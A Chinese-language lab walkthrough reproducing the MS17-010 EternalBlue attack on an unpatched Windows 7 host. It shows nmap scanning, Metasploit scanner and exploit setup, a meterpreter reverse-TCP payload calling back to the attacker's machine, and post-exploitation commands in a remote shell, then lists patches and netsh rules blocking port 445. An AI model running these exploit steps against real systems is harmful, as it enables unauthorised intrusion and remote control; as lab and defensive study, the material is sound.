关于 MS17-010 复现
xxxxxxxxxx
本次所使用的环境为 Win7 + Android , kali 也可以,只不过 Android 是移动平台
Win7 IP:192.168.10.153 用户名:Admin 无密码 管理员权限 Win7没有安装防范 MS17-010 漏洞补丁
Android IP:192.168.10.94 用户名:u0_a282 root可用可不用
Win 7 已关闭防火墙
xxxxxxxxxx
whoami:查看当前用户
ifconfig:查看 IP 及所属网段
xxxxxxxxxx
nmap:一款用于探测网络中的主机工具
-sV:探测打开端口对应服务的版本信息
192.168.10.1/24:表示从 192.168.10.1 扫到 192.168.10.254
不做过多解释
xxxxxxxxxx
nmap -sV 192.168.10.153
xxxxxxxxxx
u0_a282@localhost $ ~ nmap -sV 192.168.10.153
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-06 13:31 CST
Nmap scan report for 192.168.10.153
Host is up (0.0046s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
'445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)'
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: 0110; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.12 seconds
PS:打引号是为了变红
xxxxxxxxxx
Exp:漏洞利用
Poc:漏洞验证
Payload:有效载荷
msf6 >search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce
xxxxxxxxxx
扫描模块:auxiliary/scanner/smb/smb_ms17-010
攻击模块:exploit/windows/smb/ms17_010_eternalblue
msf6 >use auxiliary/scanner/smb/smb_ms17-010(可以使用 Tab 键补齐)
xxxxxxxxxx
msf6 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /data/data/com.termux/files/home/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
xxxxxxxxxx
RHOST:对方主机网段或者 IP
THREADS: 线程数量
msf6 auxiliary(scanner/smb/smb_ms17_010) >set RHOSTS 192.168.10.153/24
RHOSTS =>192.168.10.153/24
msf6 auxiliary(scanner/smb/smb_ms17_010) >set THREADS 20
xxxxxxxxxx
msf6 auxiliary(scanner/smb/smb_ms17_010) >run
[+] 192.168.10.153:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
xxxxxxxxxx
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
15.查看属性
xxxxxxxxxx
msf6 exploit(windows/smb/ms17_010_eternalblue) >options
xxxxxxxxxx
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.10.153
RHOST => 192.168.10.153
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.10.94
LHOST => 192.168.10.94
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
xxxxxxxxxx
msf6 exploit(windows/smb/ms17_010_eternalblue) > run(或者exploit)
xxxxxxxxxx
#查看系统信息
meterpreter > sysinfo
xxxxxxxxxx
#调用远程 cmd 控制台
meterpreter > shell
#解决远程控制台乱码
C:\Windows\system32> chcp 65001
xxxxxxxxxx
C:\Windows\system32> net user
#查看 IP
C:\Windows\system32>ipconfig
安装 补丁 (indows6.1-KB4012212-x64.msu)
链接 漏洞补丁信息地址
下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212
下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012215
xxxxxxxxxx
4012598 MS17-010: Windows SMB 服务器安全更新说明: 2017 年 3 月 14 日
4012216 Windows 8.1 和 Windows Server 2012 R2 的安全质量月度汇总更新(2017 年 3 月)
4012213 Windows 8.1 和 Windows Server 2012 R2 的纯安全质量更新(2017 年 3 月)
4012217 Windows Server 2012 的安全质量月度汇总更新(2017 年 3 月)
4012214 Windows Server 2012 的纯安全质量更新(2017 年 3 月)
4012215 Windows 7 SP1 和 Windows Server 2008 R2 SP1 的安全质量月度汇总更新(2017 年 3 月)
4012212 Windows 7 SP1 和 Windows Server 2008 R2 SP1 的纯安全质量更新(2017 年 3 月)
4013429 2017 年 3 月 13 日 — KB4013429(操作系统内部版本 933)
4012606 2017 年 3 月 14 日 — KB4012606(操作系统内部版本 17312)
4013198 2017 年 3 月 14 日 — KB4013198(操作系统内部版本 830)
xxxxxxxxxx
C:\Windows\system32> netsh advfirewall firewall add rule name=”deny445” dir=in protocol=tcp localport=445 action=block
C:\Windows\system32> netsh firewall set portopening protocol=tcp port=445 mode=disable name=deny445
C:\Windows\system32> netsh firewall set portopening protocol = ALL port = 445 name = 445 mode = DISABLE scope = ALL profile = ALL
#查看是否关闭
C:\Windows\system32> netstat -ano -p tcp | find "445"